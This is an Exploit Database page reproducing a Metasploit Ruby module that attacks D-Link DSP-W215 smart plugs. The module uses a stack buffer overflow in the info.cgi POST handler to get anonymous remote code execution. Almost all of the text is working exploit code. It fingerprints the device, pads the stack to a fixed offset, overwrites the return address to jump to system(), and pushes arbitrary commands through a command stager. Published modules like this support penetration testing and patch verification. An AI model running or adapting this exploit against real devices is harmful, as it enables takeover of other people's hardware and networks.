D-Link Devices – ‘info.cgi’ POST Buffer Overflow (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2014-07-14
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/34063/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'D-Link info.cgi POST Request Buffer Overflow',
  'Description'=> %q{
  This module exploits an anonymous remote code execution vulnerability on different D-Link
  devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
  when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
  handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
  environment.
  },
  'Author' =>
  [
  'Craig Heffner', # vulnerability discovery and initial PoC
  'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'Platform' => 'linux',
  'Arch' => ARCH_MIPSBE,
  'References' =>
  [
  ['OSVDB', '108249'],
  ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
  ],
  'Targets'=>
  [
  #
  # Automatic targeting via fingerprinting
  #
  [ 'Automatic Targeting', { 'auto' => true }],
  [ 'D-Link DSP-W215 - v1.02',
  {
  'Offset' => 477472,
  'Ret'=> 0x405cec # jump to system - my_cgi.cgi
  }
  ]
  ],
  'DisclosureDate' => 'May 22 2014',
  'DefaultTarget' => 0))
  
  deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end
  
  def check
  begin
  res = send_request_cgi({
  'uri' => "/common/info.cgi",
  'method'=> 'GET'
  })
  
  if res && [200, 301, 302].include?(res.code)
  if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
  @my_target = targets[1] if target['auto']
  return Exploit::CheckCode::Appears
  end
  
  return Exploit::CheckCode::Detected
  end
  
  rescue ::Rex::ConnectionError
  return Exploit::CheckCode::Safe
  end
  
  Exploit::CheckCode::Unknown
  end
  
  def exploit
  print_status("#{peer} - Trying to access the vulnerable URL...")
  
  @my_target = target
  check_code = check
  
  unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
  fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
  end
  
  if @my_target.nil? || @my_target['auto']
  fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
  end
  
  print_status("#{peer} - Exploiting #{@my_target.name}...")
  execute_cmdstager(
  :flavor=> :echo,
  :linemax => 185
  )
  end
  
  def prepare_shellcode(cmd)
  buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
  buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system
  
   # la $t9, system
   # la $s1, 0x440000
   # jalr $t9 ; system
   # addiu $a0, $sp, 0x28 # our command
  
  buf << rand_text_alpha_upper(40)# Command to execute must be at $sp+0x28
  buf << cmd# Command to execute
  buf << "\x00" # NULL terminate the command
  end
  
  def execute_command(cmd, opts)
  shellcode = prepare_shellcode(cmd)
  
  begin
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => "/common/info.cgi",
  'encode_params' => false,
  'vars_post' => {
  'storage_path' => shellcode,
  }
  }, 5)
  return res
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end
  end
  end